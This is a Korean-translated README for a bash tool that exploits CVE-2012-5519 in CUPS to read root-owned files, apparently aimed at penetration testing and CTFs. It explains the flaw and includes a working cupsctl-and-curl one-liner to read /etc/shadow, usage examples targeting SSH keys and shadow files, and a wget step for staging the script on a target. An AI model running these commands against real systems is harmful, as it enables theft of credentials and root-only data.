
cups-root-file-read.sh | CVE-2012-5519
bash로 구현된 metasploit 'cups_root_file_read.rb' 모듈로, 침투 테스트 및 CTF를 위해 설계되었습니다.
주로 짧은 bash 스크립팅 연습입니다. 리눅스 시스템에서 CVE-2012-5519를 익스플로잇하는 독립 실행형 프로그램입니다.
사용자에게 대화형 프롬프트를 제공하여 여러 제한된 파일을 빠르게 읽을 수 있습니다.
이 스크립트는 CUPS(common UNIX printing system) < 1.6.2의 취약점을 익스플로잇합니다.
CUPS는 lpadmin 그룹의 사용자가 cupsctl 명령을 사용하여 cupsd.conf 파일을 변경할 수 있도록 합니다.
이 명령은 사용자가 ErrorLog 경로를 지정할 수도 있습니다.
사용자가 '/admin/log/error_log 페이지'를 방문하면, SUID root로 실행 중인 cupsd 데몬이 ErrorLog 경로를 읽고 일반 텍스트로 출력합니다.
요약하면, ErrorLog 경로가 root 소유 파일을 가리키면 해당 파일을 읽을 수 있습니다.
스크립트는 사용자에게 프롬프트를 전달하기 전에 여러 검사를 수행합니다. 모든 전제 조건은 다음과 같습니다.
wget 또는 nc와 같은 대체 HTTP 파싱 명령이 현재 스크립트에 내장되어 있지 않습니다.cupsctl 명령을 사용할 수 있는지 등이 포함됩니다.스크립트는 침투 테스트 및 CTF 이벤트 목적으로 사용될 것으로 가정됩니다. 대상 시스템에 스크립트를 배치합니다. 다양한 방법으로 수행할 수 있습니다. 대상 시스템에서 일반적인 방법 중 하나:
wget http://[내 IP]:[내 포트]/cups-root-file-read.sh
cups-root-file-read.sh는 실행에 인수나 플래그가 필요하지 않지만 두 가지 선택적 인수가 있습니다:
./cups-root-file-read.sh -h
./cups-root-file-read.sh does not require any arguments to run.
it is currently interactive only.
usage: ./cups-root-file-read.sh [-a|--accessible] [-h|--help]
-a, --accessible: turns off features which may negatively affect
screen readers.
-h, --help: prints this dialog message.
after passing all the required checks for the exploit,
the user will be prompted for input.
type in the full path to a file to read it.
eg.
1. /root/.ssh/id_rsa
2. /root/.bash_history
3. /etc/shadow etc...
다음과 같이 실행:
bash cups-root-file-read.sh
또는
chmod +x cups-root-file-read.sh
./cups-root-file-read.sh
또는 단일 파일만 읽으려면:
echo '/etc/shadow' | ./cups-root-file-read.sh
초기 기능 및 취약점 검사를 통과하면 사용자에게 프롬프트가 제공되어 기존 파일의 절대 경로를 입력할 수 있습니다. 각 파일의 내용이 터미널에 출력됩니다.
스크립트를 사용하여 제한된 파일을 테스트하고 읽을 수 있지만, 사용자가 이미 보고 싶은 제한된 파일의 존재를 알고 있다면 더 유용합니다. 예:
스크립트와 익스플로잇에는 몇 가지 제한 사항이 있습니다. 그리고 제가 알기로 metasploit의 'cups_root_file_read.rb' 모듈도 동일한 제한 사항을 가지고 있습니다.
사용자가 제출하는 내용은 보고 싶은 기존 파일의 절대 경로여야 하며 파일이나 경로에 공백이 없어야 합니다. 이는 cupsctl 명령이 따옴표를 사용하더라도 공백 문자를 올바르게 처리하지 못하고 (예: ErrorLog='/path to/file.txt') 공백 문자에서 입력을 분리하여 각각을 별도의 지시문으로 만들고 부울 값 'true'를 할당하기 때문입니다.
이전 예제가 제출되면 cupsd.conf 파일에 다음과 같이 기록됩니다:
ErrorLog=/path
to/file.txt=true
이로 인해 오류가 발생하고 오류 로그에 기록되며, 이전에 파일을 성공적으로 읽기 위해 ErrorLog 경로에 지정된 경우 중요한 파일이 될 수 있습니다. 따라서 스크립트는 공백을 확인하고 필터링합니다.
사용자가 절대 경로와 파일처럼 보이는 것을 제출하도록 확인하지만, cupsctl 명령으로 서버에 전달되기 전에 모든 오류를 잡을 수 있는 것은 아닙니다:
루트 디렉토리 내에 존재하는 파일(예: '/file.txt')은 읽을 수 있지만 '/tmp' 및 '/root'와 같은 일반적인 유닉스 디렉토리도 (의도적이거나 사용자 오류로 인해) 제출될 수 있습니다. 이러한 시스템 디렉토리에 대한 처리는 없으며 서버에서 404 상태 코드가 반환됩니다. 사용자에게 이 사실이 알려집니다.
경로에 존재하지 않는 디렉토리(예: '/tmp/non-existent-directory/file.txt')도 서버에서 404 상태 코드를 반환합니다.
존재하지 않는 파일(예: '/root/non-existent-file.txt')을 보려고 하면 새 오류 로그로 파일이 생성됩니다. 사용자에게 출력에서 이 사실이 알려지며, 이전에 없었던 경우 익스플로잇 스크립트에 의해 빈 파일이 생성되었을 수 있다고 안내됩니다. 이러한 빈 파일은 스크립트가 실행된 시간 즈음에 시스템 사용자가 어떤 목적으로든 생성했을 가능성이 항상 있으므로 정리되지 않습니다.
리눅스에는 파일이나 디렉토리가 존재하는지 테스트하는 명령이 있지만, 사용자 입력이 cupsctl 명령으로 전달되기 전에 이 기능이 스크립트에 구현되지 않았습니다. 그 이유는 테스트 명령이 현재 사용자에게 접근이 금지된 위치(예: '/root')에 파일이나 디렉토리가 존재하는 경우 작동하지 않기 때문입니다. 명백한 보안상의 이유입니다. 스크립트는 이러한 접근 금지 파일을 읽도록 설계되었으므로 이러한 기능은 무의미합니다.
때로는 수동으로 또는 cups-root-file-read.sh를 통해 변경할 때 cupsctl 오류가 발생할 수 있습니다. cups-root-file-read.sh는 일반적이지 않은 사용자 입력과 일부 오류를 처리하지만 cupsd.conf 파일을 변경하거나 웹 페이지를 요청하는 동안 발생하는 cupsctl 오류는 처리되지 않습니다. cups-root-file-read.sh는 종료됩니다. 이러한 경우 스크립트를 다시 시작하고 다시 시도할 수 있습니다.
이 스크립트는 주로 가독성과 접근성을 고려하여 단일 익스플로잇을 위한 짧고 포괄적인 독립 실행형 프로그램을 만드는 연습이었습니다.
스크립트는 CVE-2012-5519의 존재를 테스트한 다음 익스플로잇 중에 여러 제한된 파일을 빠르고 쉽게 읽기 위한 것입니다. 그 목적을 위해 metasploit 모듈이나 수동 명령을 입력하고 반복적으로 편집하는 것보다 훨씬 빠르다고 생각합니다(바라건대). 하지만 그렇다고 해도 사용자가 대상 시스템이 취약하다는 것을 알고 있다면 다음과 같은 방식으로 동일한 결과를 얻을 수 있습니다:
cupsctl ErrorLog=/etc/shadow WebInterface=Yes && curl 'http://localhost:631/admin/log/error_log'
2022년 기준으로 이 익스플로잇은 10년 된 것입니다. 대상 시스템도 오래된 경우 스크립트에서 사용되는 다양한 명령의 버전이 현재 기능을 갖추지 못했을 수 있습니다. 이는 bash 버전에도 적용될 수 있습니다. 불행히도 시간 제한으로 인해 더 다양한 환경에서 스크립트를 테스트하지 못했습니다. CTF에 더 유용할 수 있습니다.
원래 스크립트는 python3로 만들 예정이었으나, 권한이 없는 사용자로 시스템에 접근한 후 python2와 python3을 사용할 수 없는 경우를 여러 번 경험했습니다. bash는 리눅스 시스템에서 거의 항상 사용 가능하며 일반적인 리눅스 명령도 마찬가지이므로 bash 구현이 더 안전한 선택으로 보였습니다.
가능한 한 bash 내장 명령을 사용하지만 스크립트는 sort, head 및 curl (그리고 물론 익스플로잇의 일부로 사용되는 cupsctl) 같은 일부 외부 명령에 의존합니다. 현재 이러한 명령에 대한 확인이나 대안이 없습니다. 시간 제약 때문입니다. 이러한 명령을 사용할 수 없으면 스크립트가 실패합니다 :(
https://argbash.io - 초기 스크립트 인수 작성에 도움.
https://skerritt.blog/a11y/ - 접근성 구현.